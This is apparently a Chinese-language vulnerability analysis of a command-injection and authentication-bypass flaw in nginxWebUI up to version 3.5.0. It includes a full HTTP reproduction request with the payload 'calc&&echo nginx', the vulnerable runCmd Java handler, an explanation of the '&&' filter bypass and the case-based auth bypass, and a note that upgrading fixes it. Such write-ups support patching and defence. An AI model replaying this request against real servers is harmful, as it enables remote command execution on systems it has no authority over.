漏洞详情
nginxWebUI是一款图形化管理nginx配置的工具, 可以使用网页来快速配置nginx的各项功能, 包括http协议转发,tcp协议转发, 反向代理, 负载均衡, 静态html服务器, ssl证书自动申请、续签、配置等, 配置好后可一建生成nginx.conf文件, 同时可控制nginx使用此文件进行启动与重载, 完成对nginx的图形化控制闭环.
nginxWebUI由于未对用户的输入进行严格过滤,导致任意命令执行漏洞。该漏洞利用条件简单,漏洞危害较高。
影响版本
nginxWebUI <= 3.5.0
漏洞复现
请求包如下
1 2 3 4 5 6 7 8 9 10
| GET /AdminPage/conf/runCmd?cmd=calc%26%26echo%20nginx HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://localhost:8080/ Connection: close Cookie: SOLONID=ea108d385b8a4a49a33258675cf6b927; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1705112055; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1705112055 Upgrade-Insecure-Requests: 1
|
漏洞分析
看payload感觉应该是一个鉴权漏洞之类的,往这方面找一下
commit比较一下,我们能发现这样一个特点
修复后添加了一个toLowerCase()方法,那就很清晰了,大小写绕过鉴权,进而执行命令
我们全局搜索一下rumCmd,找到这样一个路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| @Mapping(value = "runCmd") public JsonResult runCmd(String cmd, String type) { if (StrUtil.isNotEmpty(type)) { settingService.set(type, cmd); }
try { String rs = ""; cmd = cmd.replaceAll(";","\\\\;"); cmd = cmd.replaceAll("`","\\\\`"); cmd = cmd.replaceAll("\\|","\\\\|"); cmd = cmd.replaceAll("\\{","\\\\{"); cmd = cmd.replaceAll("\\}","\\\\}"); if(!cmd.contains("nginx")){ cmd = "nginx restart"; } if (SystemTool.isWindows()) { RuntimeUtil.exec("cmd /c start " + cmd); } else { rs = RuntimeUtil.execForStr("/bin/sh", "-c", cmd); }
cmd = "<span class='blue'>" + cmd + "</span>"; if (StrUtil.isEmpty(rs) || rs.contains("已终止进程") || rs.contains("signal process started") || rs.toLowerCase().contains("terminated process") || rs.toLowerCase().contains("starting") || rs.toLowerCase().contains("stopping")) { return renderSuccess(cmd + "<br>" + m.get("confStr.runSuccess") + "<br>" + rs.replace("\n", "<br>")); } else { return renderSuccess(cmd + "<br>" + m.get("confStr.runFail") + "<br>" + rs.replace("\n", "<br>")); } } catch (Exception e) { logger.error(e.getMessage(), e); return renderSuccess(m.get("confStr.runFail") + "<br>" + e.getMessage().replace("\n", "<br>")); } }
|
对传入的cmd参数先进行一些过滤,然后检验是否存在nginx字符,如果存在的话就执行exec方法
所以我们可以通过&&符号绕过if条件的判断,进而执行相应的命令
漏洞修复
更新版本
再次以同样payload进行尝试时,发现直接出现了302跳转